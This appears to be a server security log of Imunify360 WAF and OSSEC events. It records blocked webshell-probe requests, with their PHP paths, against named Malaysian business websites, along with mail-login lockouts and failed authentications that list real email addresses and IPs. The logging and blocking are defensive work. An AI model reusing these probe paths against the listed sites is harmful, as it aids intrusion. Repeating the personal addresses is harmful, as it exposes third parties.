name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.130.63
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/monolog/monolog/CHANGELOG.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.175.112.66
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/late/7/487/771239 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.140.121.134
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/XMLReader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-19 01:46:03 H=([94.156.152.18]) [94.156.152.18]:50606 F=<mekdes@maatextiles.com> rejected RCPT <jacklim@ktlog.com.my>: SPF: 94.156.152.18 is not allowed to send mail from maatextiles.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.213
country_id: 3469034
description:
Jan 19 01:50:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.61
country_id: 3469034
description:
Jan 19 01:50:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.177.106
country_id: 3175395
description:
Jan 19 01:51:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.177.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.123
country_id: 3469034
description:
Jan 19 01:51:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.61
country_id: 3469034
description:
Jan 19 01:50:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.213
country_id: 3469034
description:
Jan 19 01:50:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.238.172
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=91491516691378 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.37.41
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-55.168.91.37.41||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.150
country_id: 3865483
description:
Jan 19 02:01:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.202
country_id: 3175395
description:
Jan 19 02:02:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.5.26.27
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/dress/13/244/1321617 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.154.173.28
country_id: 2921044
description:
Jan 19 02:08:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.154.173.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.154.173.28
country_id: 2921044
description:
2026-01-19 02:08:41 dovecot_plain authenticator failed for H=ip217-154-173-28.pbiaas.com (WIN-QGNP7EQ2LNG) [217.154.173.28]:56961: 535 Incorrect authentication data (set_id=general@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.217.67
country_id: 3469034
description:
Jan 19 02:10:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.217.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.60.7
country_id: 3469034
description:
Jan 19 02:10:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.60.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.60.7
country_id: 3469034
description:
Jan 19 02:10:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.60.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 181.91.85.239
country_id: 3437598
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Gzdecode.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.170.160
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=951091 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.213
country_id: 690791
description:
Jan 19 02:12:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.10.181.150
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/ramsey/uuid/src/UuidInterface.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.65
country_id: 1512440
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21981516782430 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.171.64
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Misc.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.9.55
country_id: 2635167
description:
Jan 19 02:15:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.9.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.243
country_id: 1814991
description:
Jan 19 02:15:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
country_id: 6252001
description:
Jan 19 02:16:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 80.82.70.133
country_id: 241170
description:
2026-01-19  2:17:28 318058 [Warning] Aborted connection 318058 to db: 'unconnected' user: 'unauthenticated' host: '80.82.70.133' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 80.82.70.133
country_id: 241170
description:
2026-01-19  2:23:19 318272 [Warning] Aborted connection 318272 to db: 'unconnected' user: 'unauthenticated' host: '80.82.70.133' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.43
country_id: 6252001
description:
Jan 19 02:31:13 sv3 pure-ftpd[3378103]: (?@162.142.125.43) [INFO] New connection from 162.142.125.43


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.92.105.133
country_id: 3865483
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/fpl-soft-umx/karoora-dhuunfaa-pdf.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.173.212.218
country_id: 3865483
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/fpl-soft-umx/grassi-accounting-services.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.62
country_id: 953987
description:
Jan 19 02:35:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.191.52.141
country_id: 337996
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/fpl-soft-umx/lg-wh16ns60-firmware.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.62
country_id: 953987
description:
Jan 19 02:36:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.177.105
country_id: 3469034
description:
Jan 19 02:36:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.177.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.136.33.122
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=91351514874849 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.152.218
country_id: 690791
description:
Jan 19 02:41:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.152.218 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.115.15
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=61521516586229 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.16
country_id: 1269750
description:
Jan 19 02:49:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.9
country_id: 3469034
description:
Jan 19 02:49:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.189.24.55
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/clients.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-19 02:53:06 H=([94.156.152.18]) [94.156.152.18]:56354 F=<patrick.berger@huawei.com> rejected RCPT <enquiry@symphony-led.com>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/index.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.142.108.220
country_id: 1269750
description:
Jan 19 02:55:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.142.108.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.142.108.220
country_id: 1269750
description:
Jan 19 02:56:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.142.108.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap-theme.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.240
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQRegular.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQMedium.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.224.129.81
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/course/IELTS-Exam-Preparatory-16 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.225
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/responsive.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.130
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/VerveineW06Regular.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.195
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/styles.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.146
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/ripple.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.141
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/font-awesome.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.135
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.145
country_id: 3175395
description:
Jan 19 03:04:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.145 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.255.28
country_id: 1269750
description:
Jan 19 03:11:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.255.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.255.28
country_id: 1269750
description:
2026-01-19 03:11:49 dovecot_login authenticator failed for H=(ADMIN) [128.185.255.28]:56627: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.110
country_id: 3469034
description:
Jan 19 03:13:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
